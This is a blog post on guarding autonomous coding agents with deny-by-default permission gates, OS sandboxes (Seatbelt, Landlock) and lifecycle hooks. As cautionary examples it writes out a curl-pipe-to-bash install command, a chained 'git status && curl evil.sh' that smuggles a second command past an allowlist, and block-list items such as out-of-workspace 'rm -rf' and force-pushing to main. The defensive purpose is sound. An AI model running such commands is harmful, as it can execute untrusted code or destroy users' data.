# Agent Harness Guardrails: Permissions, Sandboxes, and Hooks

> A confused model is a security incident waiting to happen. How agent harnesses use permission gates, OS-level sandboxes, and deterministic hooks to keep autonomous work from becoming autonomous damage.

An agent asks to run `curl https://some-package.com/install.sh | bash`. The model's reasoning was plausible. The package looked real. The command came out of legitimate-sounding chain of thought about fixing a dependency conflict.

Would your setup stop it? Not "would your prompt discourage it". Stop it.

This is the part of harness design I care about most, because everything else in this series degrades gracefully when done badly. Weak context management wastes money. A weak permission gate turns a typo in a web page into arbitrary code execution on your machine. I've written before about [MCP servers as attack surface](/posts/mcp-security-risks-and-portals), and the same threat model applies to every tool call an agent makes. The harness is the last line of defense, so let's look at its three layers.

---

## Layer one: the permission gate

Every harness has a function sitting between "the model emitted a tool call" and "your computer does the thing". Its default posture is the whole security story:

```text
allow-by-default  -> you are trusting the model with your machine
deny-by-default   -> you are trusting the allowlist
```

Deny by default sounds obvious and yet most people run interactive agents in allow-with-confirmation mode and then click "yes" the way they accept cookie banners. Confirmation fatigue is real. My position: confirmations only work for operations that are rare. Read-only tools inside the project? Auto-allow. Writes? Auto-allow inside the workspace, confirm outside. Network access, package installs, and anything touching credentials? Always explicit, no matter how annoying that gets.

Two details separate a serious gate from a toy:

- **Match on the operation, not the string.** An allowlist entry for `git *` should not match `git status && curl evil.sh`, because command chaining smuggles a second operation through the first's permission. Parse commands properly.
- **Distinguish who asked.** A file write proposed by the model after reading your instructions deserves different treatment than content that arrived from a fetched web page. Provenance-aware gating is where this is all heading.

Policy tables are easier to feel than to read. The simulator below runs this section's gate logic: pick a tool call, set the posture per tier, watch the verdict change.

<div class="harness-sim"></div>

## Layer two: the sandbox

Permission prompts govern what the agent may _request_. A sandbox governs what is physically possible. You want both, because models get confused, prompts get injected, and gates have bugs.

The pattern mature harnesses converged on is OS-level primitives rather than containers-for-everything. Codex CLI, for instance, sandboxes commands with [Seatbelt](https://github.com/openai/codex) policies on macOS and Landlock on Linux: filesystem writes confined to the workspace, network disabled unless explicitly granted for the call. No VM boot, no image pulls, millisecond overhead per command.

The practical checklist for an agent sandbox:

- Filesystem writes scoped to the project directory (plus an explicit temp area).
- Network denied by default, granted per-operation when the task needs it.
- Secrets unreadable: if the sandbox can hide your `.env` from the process entirely, do that instead of hoping the model ignores it.
- Egress awareness for the times network is required, since an agent with full network plus your API keys is an exfiltration pipeline with good intentions.

Sandboxing is also what makes autonomy possible. An agent that can't leave the workspace doesn't need a human approving every edit, which means it can actually run unattended. Guardrails are what make speed safe.

## Layer three: hooks

Permissions decide whether an action happens. Hooks run your code at fixed points in the loop no matter what anyone decided: before a tool executes, after it returns, when the model finishes a turn.

Claude Code's [hooks feature](https://code.claude.com/docs/en/hooks) is the clearest public example: shell commands wired to lifecycle events, with exit codes that can block actions outright or feed corrections back into context. The power here is determinism. A rule in your instructions file is a suggestion the model weighs against everything else in context. A hook is law.

The ones I consider mandatory on any team setup:

- **Post-tool-call formatter/linter** on edited files, so style violations never survive a turn.
- **Block-list checks before Bash runs**, rejecting commands matching known footguns (`rm -rf` outside the workspace, `git push --force` to main).
- **A secrets scanner before anything touches git**, because models happily echo `.env` contents into test fixtures.

```jsonc
// ❌ Hoping the model behaves
// "Please always format files after editing them."

// ✅ Making formatting non-optional via a PostToolUse hook
{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Edit|Write",
        "command": "./scripts/format-changed.sh",
      },
    ],
  },
}
```

That shift, from prose to enforcement, is the whole philosophy of this layer. Anything you find yourself repeating in instructions three times probably belongs in a hook instead.

---

## Defense in depth, or don't bother

These layers compose, they don't substitute. The gate catches intent, the sandbox bounds capability, hooks enforce policy. Run only one and you've built a system whose safety equals that layer's bug budget.

My verdict after breaking plenty of setups: deny-by-default permissions for anything state-changing, OS sandbox always on, hooks for the rules you're tired of re-explaining. It costs maybe an afternoon to configure and it's the difference between delegating to an agent and supervising one.

Part four closes the series with what all this machinery enables: agents that run for hours without babysitting, using checkpoints, resume, and steering. That's coming up in ["Long-Running Agents"](/posts/long-running-agents-checkpoints-resume-steering).

What's the scariest thing an agent has tried to run on your machine? Best horror story wins, send it to me on [Twitter/X](https://twitter.com/TheAkshitS).